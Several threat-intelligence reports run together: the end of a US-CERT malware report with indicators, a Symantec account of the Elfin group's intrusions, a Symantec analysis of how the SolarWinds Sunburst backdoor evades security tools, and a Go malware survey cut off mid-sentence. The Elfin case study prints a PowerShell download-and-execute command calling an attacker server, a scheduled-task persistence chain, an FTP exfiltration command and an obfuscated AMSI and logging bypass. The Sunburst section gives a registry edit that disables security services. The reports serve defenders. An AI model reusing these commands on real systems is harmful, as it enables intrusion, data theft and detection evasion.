AVG: BackDoor.Generic19.ANUB ### Description This artifact is the service DLL embedded in the dropper malware's (1ECD83EE) resource named "MYRES" and during runtime it is decompressed and executed. This application has been identified as a fully functioning Remote Access Tool (RAT) designed to provide stealthy and persistent access to a compromised system. ### 35f9cfe5110471a82e330d904c97466a - **Size:** 122880 - **Type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5:** 35f9cfe5110471a82e330d904c97466a - **SHA1:** 1207d3bad08688a694b6152c57aacfe705914170 - **Antivirus Results:** - nProtect: Trojan/W32.Agent.122880.CBW - McAfee: RDN/Generic BackDoor - K7: Riskware (0040eff71) - Symantec: Trojan.Volgmer - Zillya!: Trojan.GenericKD.Win32.7276 - Kaspersky: Backdoor.Win32.Volgmer.b - BitDefender: Trojan.GenericKD.3069267 - Microsoft Security Essentials: Backdoor:Win32/Joanap.I!dha - TrendMicro House Call: TROJ_VOLGMER.A - Emsisoft: Trojan.GenericKD.3069267 (B) - Ahnlab: Trojan/Win32.Agent - NANOAV: Trojan.Win32.Volgmer.dnrknz - Ikarus: Backdoor.Win32.Volgmer - AVG: BackDoor.Generic19.VXF ### Description Similar in design, functionality, and structure to the file, 5dd1ccc8fb2a5615bf5656721339efed. ### 143cb4f16dcfc16a02812718acd32c8f - **Size:** 107008 - **Type:** PE32 executable (DLL) (console) Intel 80386, for MS Windows - **MD5:** 143cb4f16dcfc16a02812718acd32c8f - **SHA1:** f8397d940a204a2261dba2babd6e0718dd87574c - **Antivirus Results:** - nProtect: Trojan/W32.Agent.107008.UB - Symantec: Trojan.Volgmer - Zillya!: Trojan.Agent.Win32.662648 - Kaspersky: Trojan.Win32.Agent.iiet - BitDefender: Backdoor.Agent.ABTZ - Sophos: Troj/Agent-APLG - Emsisoft: Backdoor.Agent.ABTZ (B) - Avira: BDS/Agent.107008.26 - Ahnlab: Trojan/Win32.Backdoor - NANOAV: Trojan.Win32.Agent.dzibpq - Ikarus: Trojan.Backdoor.Agent - AVG: BackDoor.Agent.BBGZ ### Description This artifact is a malicious Windows 32-bit DLL that uses multiple configuration or data files that were not included in the submission. Static analysis of this application indicates that its primary purpose is to function as a Botnet controller. It will listen and accept connections from bots. ### e3d03829cbec1a8cca56c6ae730ba9a8 - **Size:** 139264 - **Type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5:** e3d03829cbec1a8cca56c6ae730ba9a8 - **SHA1:** ae65ffcd83dab3fdafea3ff6915fce34e1307bce - **Antivirus Results:** - nProtect: Trojan/W32.Agent.139264.CBA - McAfee: RDN/Generic BackDoor - K7: Riskware (0040eff71) - Symantec: Trojan Horse - VirusBlokAda: Backdoor.Agent - Zillya!: Backdoor.Agent.Win32.58903 - Kaspersky: Backdoor.Win32.Agent.dojc - BitDefender: Trojan.GenericKD.2604845 - Microsoft Security Essentials: Backdoor:Win32/Joanap.I!dha - TrendMicro House Call: BKDR_CMDSHELL.C - Emsisoft: Trojan.GenericKD.2604845 (B) - Avira: BDS/Agent.KM - Ahnlab: Trojan/Win32.Agent - ESET: Win32/Agent.XYC trojan - NANOAV: Trojan.Win32.Agent.dusvat - Quick Heal: Backdoor.Joanap - Ikarus: Backdoor.Win32.Agent - AVG: Generic36.BTKP ### Description This artifact is a service DLL and contains the same authentication key string embedded in the file 5dd1ccc8fb2a5615bf5656721339efed. These files have similar code functionality. ## Mitigation Recommendations US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection: - 103.16.223.35 - 113.28.244.194 - 116.48.145.179 - 186.116.9.20 - 186.149.198.172 - 195.28.91.232 - 195.97.97.148 - 199.15.234.120 - 200.42.69.133 - 203.131.222.99 - 210.187.87.181 - 83.231.204.157 - 84.232.224.218 - 89.190.188.42 US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their organization's systems: - Maintain up-to-date antivirus signatures and engines. - Restrict users' ability (permissions) to install and run unwanted software applications. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Keep operating system patches up-to-date. - Enable a personal firewall on agency workstations. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats; implement appropriate ACLs. ## Contact Information - 1-888-282-0870 - [email protected] (UNCLASS) - [email protected] (SIPRNET) - [email protected] (JWICS) US-CERT continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://forms.us-cert.gov/ncsd-feedback/ ## Document FAQ **What is a MAR?** A Malware Analysis Report (MAR) is intended to provide detailed code analysis and insight into specific tactics, techniques, and procedures (TTPs) observed in the malware. **Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or [email protected]. **Can I submit malware to US-CERT?** Malware samples can be submitted via three methods. Contact us with any questions. - Web: https://malware.us-cert.gov - E-Mail: [email protected] - FTP: ftp.malware.us-cert.gov/malware (anonymous) US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.us-cert.gov.
# Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S. ## Vulnerability exploitation In a recent wave of attacks during February 2019, Elfin attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR, the widely used file archiving and compression utility capable of creating self-extracting archive files. The exploit was used against one target in the chemical sector in Saudi Arabia. If successfully exploited on an unpatched computer, the vulnerability could permit an attacker to install any file on the computer, which effectively permits code execution on the targeted computer. Two users in the targeted organization received a file called "JobDetails.rar", which attempted to exploit the WinRAR vulnerability. This file was likely delivered via a spear-phishing email. However, prior to this attempted attack, Symantec had rolled out proactive protection against any attempt to exploit this vulnerability (Exp.CVE-2018-20250). This protection successfully protected the targeted organization from being compromised. ## The Shamoon connection Elfin came under the spotlight in December 2018 when it was linked with a new wave of Shamoon attacks. One Shamoon victim in Saudi Arabia had recently also been attacked by Elfin and had been infected with the Stonedrill malware (Trojan.Stonedrill) used by Elfin. Because the Elfin and the Shamoon attacks against this organization occurred so close together, there has been speculation that the two groups may be linked. However, Symantec has found no further evidence to suggest Elfin was responsible for these Shamoon attacks to date. We continue to monitor the activities of both groups closely. ## Elfin’s toolset Elfin has deployed a wide range of tools in its attacks including custom malware, commodity malware, and open-source hacking tools. Custom malware used by the group include: - **Notestuk (Backdoor.Notestuk) (aka TURNEDUP)**: Malware that can be used to open a backdoor and gather information from a compromised computer. - **Stonedrill (Trojan.Stonedrill)**: Custom malware capable of opening a backdoor on an infected computer and downloading additional files. The malware also features a destructive component, which can wipe the master boot record of an infected computer. - **AutoIt backdoor**: A custom built backdoor written in the AutoIt scripting language. In addition to its custom malware, Elfin has also used a number of commodity malware tools, available for purchase on the cyber underground. These include: - **Remcos (Backdoor.Remvio)**: A commodity remote administration tool (RAT) that can be used to steal information from an infected computer. - **DarkComet (Backdoor.Breut)**: Another commodity RAT used to open a backdoor on an infected computer and steal information. - **Quasar RAT (Trojan.Quasar)**: Commodity RAT that can be used to steal passwords and execute commands on an infected computer. - **Pupy RAT (Backdoor.Patpoopy)**: Commodity RAT that can open a backdoor on an infected computer. - **NanoCore (Trojan.Nancrat)**: Commodity RAT used to open a backdoor on an infected computer and steal information. - **NetWeird (Trojan.Netweird.B)**: A commodity Trojan which can open a backdoor and steal information from the compromised computer. It may also download additional potentially malicious files. Elfin also makes frequent use of a number of publicly available hacking tools, including: - **LaZagne (SecurityRisk.LaZagne)**: A login/password retrieval tool. - **Mimikatz (Hacktool.Mimikatz)**: Tool designed to steal credentials. - **Gpppassword**: Tool used to obtain and decrypt Group Policy Preferences (GPP) passwords. - **SniffPass (SniffPass)**: Tool designed to steal passwords by sniffing network traffic. ## Case study: How an Elfin attack unfolds In this section, we describe in detail an Elfin attack on a U.S. organization. On February 12, 2018 at 16:45 (all times are in the organization’s local time), an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880. The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&C server. ```powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};IEX(New-Object Net.WebClient).DownloadString('hxxps://217.147.168[DOT]46:8088/index.jpg'); ``` A second JavaScript command was also executed, which created a scheduled task to execute chfeeds.vbe multiple times a day. ```powershell a.run('%windir%\\System32\\cmd.exe /c PowerShell -window hidden schtasks.exe /CREATE /SC DAILY /TN "1" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 01:00 /f && schtasks.exe /CREATE /SC DAILY /TN "3" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 03:00 /f && schtasks.exe /CREATE /SC DAILY /TN "5" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 05:00 /f && schtasks.exe /CREATE /SC DAILY /TN "7" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 07:00 /f && schtasks.exe /CREATE /SC DAILY /TN "9" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 09:00 /f && schtasks.exe /CREATE /SC DAILY /TN "11" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 11:00 /f && schtasks.exe /CREATE /SC DAILY /TN "13" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 13:00 /f && schtasks.exe /CREATE /SC DAILY /TN "15" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 15:00 /f && schtasks.exe /CREATE /SC DAILY /TN "17" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 17:00 /f && schtasks.exe /CREATE /SC DAILY /TN "19" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 19:00 /f && schtasks.exe /CREATE /SC DAILY /TN "21" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 21:00 /f && schtasks.exe /CREATE /SC DAILY /TN "23" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 23:00 /f ') ``` The chfeeds.vbe file acts as a downloader and was used to download a second PowerShell script (registry.ps1). This script in turn downloaded and executed a PowerShell backdoor known as POSHC2, a proxy-aware C&C framework, from the C&C server (hxxps://host-manager.hopto.org). Later at 20:57, the attackers became active on the compromised machine and proceeded to download the archiving tool WinRAR. ```plaintext 89.34.237.118 808 hxxp://89.34.237[DOT]118:808/Rar32.exe ``` At 23:29, the attackers then proceeded to deploy an updated version of their POSHC2 stager. ```plaintext 192.119.15.35 880 hxxp://mynetwork.ddns[DOT]net:880/st-36-p4578.ps1 ``` This tool was downloaded several times between 23:29 on February 12 and 07:47 on February 13. Two days later, on February 14 at 15:12, the attackers returned and installed Quasar RAT onto the infected computer that communicated with a C&C server (217.147.168.123). Quasar RAT was installed to CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe. At this point, the attackers ceased activity while maintaining access to the network until February 21. At 06:38, the attackers were observed downloading a custom .NET FTP tool to the infected computer. ```plaintext 192.119.15.36 880 hxxp://192.119.15[DOT]36:880/ftp.exe ``` Later at 6:56, the attackers exfiltrated data using this FTP tool to a remote host: ```plaintext JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f /[REDACTED] -u [REDACTED] -p [REDACTED] ``` Activity ceased until the attackers returned on March 5 and were observed using Quasar RAT to download a second custom AutoIt FTP exfiltration tool known as FastUploader from hxxp://192.119.15[DOT]36:880/ftp.exe. This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp.exe. FastUploader is a custom FTP tool designed to exfiltrate data at a faster rate than traditional FTP clients. At this point, additional activity from the attackers continued between March 5 into April, and on April 18 at 11:50, a second remote access tool known as DarkComet was deployed to csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe on the infected computer. This was quickly followed 15 seconds later by the installation of a credential dumping tool to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe, and the execution of PowerShell commands via PowerShell Empire, a freely available post-exploitation framework, to bypass logging on the infected machine. ```powershell $GPF=[Ref].AsSeMBLy.GeTTYPe('System.Management.Automation.Utils')."GEtFiE`LD" ('cachedGroupPolicySettings','N'+'onPublic,Static');If($GPF){$GPC=$GPF.GeTVALUE($NUlL);If($GPC['ScriptB'+'lockLogging']) {$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAL=[COlLecTIons.GEneRic.DIctIoNARy[stRiNG,SyStEM.Object]]::nEw();$VAL.ADD('EnableScriptB'+'lockLogging',0);$VaL.Add ('EnableScriptBlockInvocationLogging',0);$GPC ['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[SCRIPTBLOck]."GEtFiE`L" ('signatures','N'+'onPublic,Static').SETVAlUe($NuLL,(New-ObjeCt ColLectiONs.GeNERic.HASHSEt[StrInG]))} [REF].AssemBLy.GetTyPE('System.Management.Automation.AmsiUtils')|?{$_}|% {$_.GEtFielD('amsiInitFailed','NonPublic,Static').SETValUe($nUll,$TrUE)}; ``` Activity continued throughout April where additional versions of DarkComet, POSHC2 implants, and an AutoIt backdoor were deployed along with further credential dumping activities. ## Active and agile attacker Elfin is one of the most active groups currently operating in the Middle East, targeting a large number of organizations across a diverse range of sectors. Over the past three years, the group has utilized a wide array of tools against its victims, ranging from custom built malware to off-the-shelf RATs, indicating a willingness to continually revise its tactics and find whatever tools it takes to compromise its next set of victims. ## Protection/Mitigation Symantec has the following protection in place to protect customers against these attacks: - Backdoor.Notestuk - Trojan.Stonedrill - Backdoor.Remvio - Backdoor.Breut - Trojan.Quasar - Backdoor.Patpoopy - Trojan.Nancrat - Trojan.Netweird.B - Exp.CVE-2018-20250 - SecurityRisk.LaZagne - Hacktool.Mimikatz - SniffPass ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# SolarWinds Attacks: Stealthy Attackers Attempted To Evade Detection In the first of a series of follow-up analyses on the SolarWinds attacks, we take a look at how the attackers disabled security software and avoided detection. As we continue our analysis on the tools used in the SolarWinds attacks, one of the most striking aspects we’ve noticed is how careful the attackers were to avoid drawing attention to themselves. Software supply chain attacks are relatively stealthy to begin with, since signed software from a trusted source is less likely to raise red flags. However, the attackers weren’t content to rely on the cover this provided and also took several other steps to avoid detection. To begin with, the Sunburst backdoor (Backdoor.Sunburst), which was delivered using a Trojanized update to SolarWinds Orion, sets a delay time of up to 14 days before execution. In other words, no malicious activity will begin until this period has elapsed. The length of time selected is most likely to increase the likelihood that the log entries of the initial malicious activity have been deleted before any subsequent post-breach activity is initiated, thereby making it difficult to correlate the two sets of malicious events. Many organizations, including even managed security services providers (MSSPs), will often purge their security logs after seven days to minimize storage costs and make searching them easier. Sunburst will also check the current Windows domain the machine belongs to. If the domain contains the string 'test' or one of 13 additional specific domains that appear related to lab systems such as “swdev.local” and “apac.lab”, the threat will cease to execute. A full list is in Appendix A. ## Avoiding Security Software and Researchers Attacks begin with a Trojanized version of SolarWinds’ Orion software. The attackers modified Orion in order to deliver the Sunburst backdoor to the computer. Sunburst is first stage malware, designed to perform reconnaissance on the infected computer, perform checks for security tools, and deliver a second stage payload, if required. The main Sunburst code is contained in a class named SolarWindows.Orion.Core.BusinessLayer that, when first instantiated, calls a member function called Update. The function name is a ruse, as the code does not perform any update, but instead is designed to disable security software, avoid security researcher systems, and possibly avoid running on systems not of interest to the attackers. The function contains three lists – a list of process names, a list of driver filenames, and a list of processes and service name pairs. These names are all obfuscated in the code by hashing them using the FNV1A algorithm and using variable names that masquerade as timestamps. The function will: - Get a list of running processes. - Check if the process names match items on the process list. - Get a list of all installed drivers. - Check if the driver names match items on the drivers list. - If a match is found, the malicious code does not perform further actions and returns. This process and driver list contains tools that commonly run on security researcher systems and thus, this functionality appears to be designed not to run on such systems in order to avoid discovery. The full list of security tools can be found in Appendix A. Furthermore, the lists also contained names related to a variety of security software programs including: **Security software process names** - AVG/AVAST - Panda - Kaspersky - Tanium **Driver names** - CyberArk - cybkerneltracker.sys - Altiris Symantec - atrsdfw.sys (Ghost Pre-installation boot environment driver) - Raytheon Cyber Solutions - eaw.sys - CJSC Returnil Software - rvsavd.sys - Verasys Digital Guardian - dgdmk.sys - Sentinel One – sentinelmonitor.sys - Hexis Cyber Solutions - hexisfsmonitor.sys - Dell SecureWorks - groundling32.sys, groundling64.sys - SAFE-Cyberdefense - safe-agent.sys - Cybereason – crexecprev.sys - Absolute - psepfilter.sys, cve.sys - Bromium - brfilter.sys, brcow_x_x_x_x.sys - LogRhythm - lragentmf.sys - OESIS OPSwat - libwamf.sys The security vendors on this list have most likely been chosen as the attacker has determined that their products are unlikely to be installed at organizations of interest to the attackers. Given the indiscriminate nature of supply chain as a vector, with an estimated 18,000 SolarWinds customers affected, the attackers probably wanted to avoid any risk of detection in organizations that weren’t of interest to them. Interestingly, the process solarwindsdiagnostics is also blacklisted. Presumably this is included to avoid detection during any SolarWinds testing or troubleshooting. ## Disabling Security Software Sunburst also attempts to specifically disable some software security services via the registry. This allows Sunburst to perform its malicious actions completely undetected. If the attackers worked quickly and restored the services afterwards, a security administrator would potentially have no record of the activity, nor have even noticed the temporary lack of protection. This function will: - Get a list of running processes. - Check if the process names match items on the process/services name pair list. - Disable the security software by modifying its service registry entry. After the software has been confirmed to be disabled, usually after a reboot, the malicious code will then contact the command and control (C&C) server and potentially perform further malicious actions. To disable the security software, Sunburst will simply set the products’ service start setting to Disabled. In Windows, this is done by setting the registry keys: `HKLM\SYSTEM\CurrentControlSet\services\<service name>\Start = 4` This will cause the security software not to load at the next reboot. It should be noted that the attackers do not attempt to disable any Symantec products. Presumably this is because of an anti-tampering feature in Symantec software, which prevents its own service from being disabled. The process and services pair list include software from the following vendors: - CrowdStrike - Carbon Black - FireEye - ESET - F-Secure Interestingly, the list also included Microsoft Defender, but only the service key permissions are changed. Currently, this has an unknown effect. In addition, some other unknown products are also included, but were effectively commented out. The attackers may have discovered this technique was ineffective for these products. Finally, Sunburst will check if api.solarwinds.com resolves to a valid address before continuing. ## Low Profile Threat The SolarWinds attacks are among the best-planned and adept attacks we have seen in recent years. The attackers have gone to great lengths to both find an effective path into their targeted organizations and, once inside their networks, maintain a low profile. Our analysis of these tools is ongoing and we plan to publish further blogs in the coming weeks. ## Protection/Mitigation Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products. **File-based protection:** - Backdoor.Sunburst - Backdoor.Sunburst!gen1 - Backdoor.SuperNova - Backdoor.Teardrop **Network-based protection:** - System Infected: Sunburst Malware Activity ## Appendix A **Drivers Avoided** | Driver | FNV1A Hash | Description | |------------------------|------------------------------|-------------| | ybkerneltracker.sys | 17097380490166623672 | | | atrsdfw.sys | 15194901817027173566 | Altiris Symantec (Ghost Preinstallation boot environment driver) | | eaw.sys | 12718416789200275332 | Raytheon Cyber Solutions | | rvsavd.sys | 18392881921099771407 | CJSC Returnil Software | | dgdmk.sys | 3626142665768487764 | Verdasys | | sentinelmonitor.sys | 12343334044036541897 | Sentinel | | hexisfsmonitor.sys | 397780960855462669 | Sentinel One | | groundling32.sys | 6943102301517884811 | Dell SecureWorks | | groundling64.sys | 13544031715334011032 | Dell SecureWorks | | safe-agent.sys | 11801746708619571308 | SAFE-Cyberdefense | | crexecprev.sys | 18159703063075866524 | Absolute (Palisade Systems) | | psepfilter.sys | 835151375515278827 | Absolute | | cve.sys | 16570804352575357627 | Absolute | | brfilter.sys | 1614465773938842903 | Bromium | | brcow_x_x_x_x.sys | 12679195163651834776 | Bromium | | lragentmf.sys | 2717025511528702475 | LogRhythm | | libwamf.sys | 17984632978012874803 | OESIS OPSwat | **Security Tools Avoided** | Tool | FNV1A Hash | |---------------------------|------------| | apimonitor-x64 | 2597124982561782591 | | apimonitor-x86 | 2600364143812063535 | | autopsy64 | 13464308873961738403 | | autopsy | 4821863173800309721 | | autoruns64 | 12969190449276002545 | | autoruns | 3320026265773918739 | | autorunsc64 | 12094027092655598256 | | autorunsc | 10657751674541025650 | | binaryninja | 11913842725949116895 | | blacklight | 5449730069165757263 | | cff explorer | 292198192373389586 | | cutter | 12790084614253405985 | | de4dot | 5219431737322569038 | | debugview | 15535773470978271326 | | diskmon | 7810436520414958497 | | dnsd | 13316211011159594063 | | dnspy | 13825071784440082496 | | dotpeek32 | 14480775929210717493 | | dotpeek64 | 14482658293117931546 | | dumpcap | 8473756179280619170 | | evidence center | 3778500091710709090 | | exeinfope | 8799118153397725683 | | fakedns | 12027963942392743532 | | fakenet | 576626207276463000 | | ffdec | 7412338704062093516 | | fiddler | 682250828679635420 | | fileinsight | 13014156621614176974 | | floss | 18150909006539876521 | | gdb | 10336842116636872171 | | hiew32 | 13260224381505715848 | | unknown | 17956969551821596225 | | hiew32demo | 12785322942775634499 | | idaq64 | 8709004393777297355 | | idaq | 14256853800858727521 | | idr | 8129411991672431889 | | ildasm | 15997665423159927228 | | ilspy | 10829648878147112121 | | jd-gui | 9149947745824492274 | | lordpe | 3656637464651387014 | | officemalscanner | 3575761800716667678 | | ollydbg | 4501656691368064027 | | pdfstreamdumper | 10296494671777307979 | | pe-bear | 14630721578341374856 | | pebrowse64 | 4088976323439621041 | | peid | 9531326785919727076 | | pe-sieve32 | 6461429591783621719 | | pe-sieve64 | 6508141243778577344 | | pestudio | 10235971842993272939 | | peview | 2478231962306073784 | | pexplorer | 9903758755917170407 | | ppee | 14710585101020280896 | | procdump64 | 13611814135072561278 | | procdump | 2810460305047003196 | | processhacker | 2032008861530788751 | | procexp64 | 27407921587843457 | | procexp | 6491986958834001955 | | procmon | 2128122064571842954 | | prodiscoverbasic | 10484659978517092504 | | py2exedecompiler | 8478833628889826985 | | r2agent | 10463926208560207521 | | rabin2 | 7080175711202577138 | | radare2 | 8697424601205169055 | | ramcapture64 | 7775177810774851294 | | ramcapture | 16130138450758310172 | | reflector | 506634811745884560 | | regmon | 18294908219222222902 | | resourcehacker | 3588624367609827560 | | retdec-ar-extractor | 9555688264681862794 | | retdec-bin2llvmir | 5415426428750045503 | | retdec-bin2pat | 3642525650883269872 | | retdec-config | 13135068273077306806 | | retdec-fileinfo | 3769837838875367802 | | retdec-getsig | 191060519014405309 | | retdec-idr2pat | 1682585410644922036 | | retdec-llvmir2hll | 7878537243757499832 | | retdec-macho-extractor | 13799353263187722717 | | retdec-pat2yara | 1367627386496056834 | | retdec-stacofin | 12574535824074203265 | | retdec-unpacker | 16990567851129491937 | | retdec-yarac | 8994091295115840290 | | rundotnetdll | 13876356431472225791 | | sbiesvc | 14968320160131875803 | | scdbg | 14868920869169964081 | | scylla_x64 | 106672141413120087 | | scylla_x86 | 79089792725215063 | | shellcode_launcher | 5614586596107908838 | | solarwindsdiagnostics | 3869935012404164040 | | sysmon64 | 3538022140597504361 | | sysmon | 14111374107076822891 | | task explorer | 7982848972385914508 | | task explorer-x64 | 8760312338504300643 | | tcpdump | 17351543633914244545 | | tcpvcon | 7516148236133302073 | | tcpview | 15114163911481793350 | | vboxservice | 15457732070353984570 | | win32_remote | 16292685861617888592 | | win64_remotex64 | 10374841591685794123 | | windbg | 3045986759481489935 | | windump | 17109238199226571972 | | winhex64 | 6827032273910657891 | | winhex | 5945487981219695001 | | winobj | 8052533790968282297 | | wireshark | 17574002783607647274 | | x32dbg | 3341747963119755850 | | x64dbg | 14193859431895170587 | | xwforensics | 17683972236092287897 | | xwforensics64 | 17439059603042731363 | **Security Software Avoided** | Vendor | Process | FNV1A Hash | |----------------|----------------------------------|------------| | Panda | psanhost | 2532538262737333146 | | | psuaservice | 4454255944391929578 | | | psuamain | 6088115528707848728 | | Kaspersky | avp | 13611051401579634621 | | | avpui | 18147627057830191163 | | | ksde | 17633734304611248415 | | | ksdeui | 13581776705111912829 | | Tanium | tanium | 7175363135479931834 | | | taniumclient | 3178468437029279937 | | | taniumdetectengine | 13599785766252827703 | | | taniumendpointindex | 6180361713414290679 | | | taniumtracecli | 8612208440357175863 | | | taniumtracewebsocketclient64 | 8408095252303317471 | | AVG/AVAST | aswidsagent | 2934149816356927366 | | | aswidsagenta | 13029357933491444455 | | | aswengsrv | 6195833633417633900 | | | avastavwrapper | 2760663353550280147 | | | avgsvc | 3660705254426876796 | | | avgui | 12709986806548166638 | | | avgsvca | 3890794756780010537 | | | avgidsagent | 2797129108883749491 | | | avgsvcx | 3890769468012566366 | | | avgwdsvcx | 14095938998438966337 | | | avgadminclientservice | 11109294216876344399 | | | afwserv | 1368907909245890092 | | | avastui | 11818825521849580123 | | | avastsvc | 8146185202538899243 | | | bccavsvc | 16423314183614230717 | **Domains Avoided** | Domain | FNV1A Hash | |---------------|------------| | swdev.local | 1109067043404435916 | | swdev.dmz | 15267980678929160412 | | lab.local | 8381292265993977266 | | lab.na | 3796405623695665524 | | emea.sales | 8727477769544302060 | | cork.lab | 10734127004244879770 | | dev.local | 11073283311104541690 | | dmz.local | 4030236413975199654 | | pci.local | 7701683279824397773 | | saas.swi | 5132256620104998637 | | lab.rio | 5942282052525294911 | | lab.brno | 4578480846255629462 | | apac.lab | 16858955978146406642 | **Service Disablement List** | Vendor | Process Names | Service Names | |------------------|---------------------|----------------| | Carbon Black | cavp | carbonblack | | | cb | carbonblackk | | | | cbcomms | | | | cbstream | | CrowdStrike | csfalconservice | csagent | | | csfalconcontainer | csdevicecontrol | | | | csfalconservice | | FireEye | xagt | xagt | | | xagtnotif | fe_avk | | | | fekern | | | | feelam | | | | 3320767229281015341 (unknown) | | ESET | ekrn | eamonm | | | eguiproxy | eelam | | | egui | ehdrv | | | | ekrn | | | | 2589926981877829912 (unknown) | | | | epfwwfp | | | | ekbdflt | | | | epfw | ## About the Author **Threat Hunter Team** The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# Year of the Gopher: A 2020 Go Malware Round-Up ## Executive Summary Malware written in Go has been steadily increasing in the last few years. During this time, we have seen both nation-state backed and non-nation state threat actors adopt Go into their toolset. This report outlines the uses of Go malware by these threat actors during 2020. Before 2020, a Russian nation-state backed threat actor had been using their Go variant of Zebrocy. In 2020, we saw a return of this malware in targeted attacks against Eastern European countries. Another Russian nation-state backed threat actor was attributed to a malware called WellMess that is written in Go. According to the UK's National Cyber Security Centre (NCSC), it was used in attacks against organizations that were part of COVID-19 vaccine research. WellMess has been around for a couple of years, but before the NCSC’s report, no attribution to a known threat actor had been made in the public. A Chinese nation-state backed threat actor utilized a new loader written in Go to execute their malware in some campaigns, and a new threat actor included two malware written in Go in attacks against Tibetan individuals. On the non-nation state-backed front, crypters, stealers, remote access trojans (RATs), botnets, and ransomware were used. Some botnets active before 2020 were still active while some new ones emerged. Some started to target Linux environments. For example, new samples of IPStorm were discovered attacking Linux machines instead of Windows ones. The majority of botnets targeting Linux machines installed cryptominers or commandeered the machine to take part in distributed denial of service (DDoS) botnets. Windows machines were targeted by ransomware written in Go. During the year, some new ransomware were used in so-called Big Game Hunting attacks. Nefilim and EKANS infected Whirlpool and Honda respectively. It’s likely that the number of Go malware will continue to increase. We have seen threat actors targeting multiple operating systems with malware from the same Go codebase. Traditional Antivirus programs have had a hard time identifying Go malware due to many factors. A detection method based on code reuse has shown to be effective, especially when it comes to detecting when malware families are targeting new platforms. It's likely that attacks from Go malware against cloud environments will increase as more valuable assets are moved to the cloud. Using the security features provided by the hosting providers will not be enough, and specialized runtime protection solutions will be needed. ## Introduction Go is an open-source programming language that was developed in 2007 by Robert Griesemer, Rob Pike, and Ken Thompson at Google. It was released to the public in November of 2009. The motivation for developing a new language stemmed from the frustrations of working with current programming languages. As CPUs weren't getting faster by increasing the number of clock cycles anymore, more speed started to be obtained by adding more cores, allowing for more execution in parallel. This evolution in hardware had not been reflected well in the common programming languages. While languages such as C, C++, and Java provide functionality for executing things in parallel on multiple cores, they provide programmers with little help to do it efficiently and safely. The programmers at Google set out to design a new programming language that would provide "first class" support for concurrency or parallelism easily and safely. The goal was also to combine the ease of programming in an interpreted language with the efficiency and safety of a statically typed and compiled language. As it was designed at Google to be used for network services running as part of Google's infrastructure, network support was also important. ## Nation State-Backed Threat Actors The adoption of Go by nation-state backed threat actors hasn't been as prominent as can be seen with non-nation state-backed threat actors. It may be due to them staying with what they believe is true and tested, and the advantages Go provides are not needed by the groups. With a more focused targeting, the need for malware that can be compiled for varied architecture and operating systems from the same code base is not needed. While few APT groups have included Go in their toolset, there are some exceptions. During 2020, at least three new nation-state backed threat actors were attributed using malware written in Go. ### APT28 - Zebrocy It may not have come as a surprise when the first Zebrocy written in Go was discovered in May 2018. The Zebrocy malware, known to be used by Sofacy, has been implemented in AutoIT, C++, C#, and Delphi to name a few programming languages before. The Go version was used in multiple waves throughout 2018 and 2019. In November 2020, we discovered two new samples of the Go implementation of 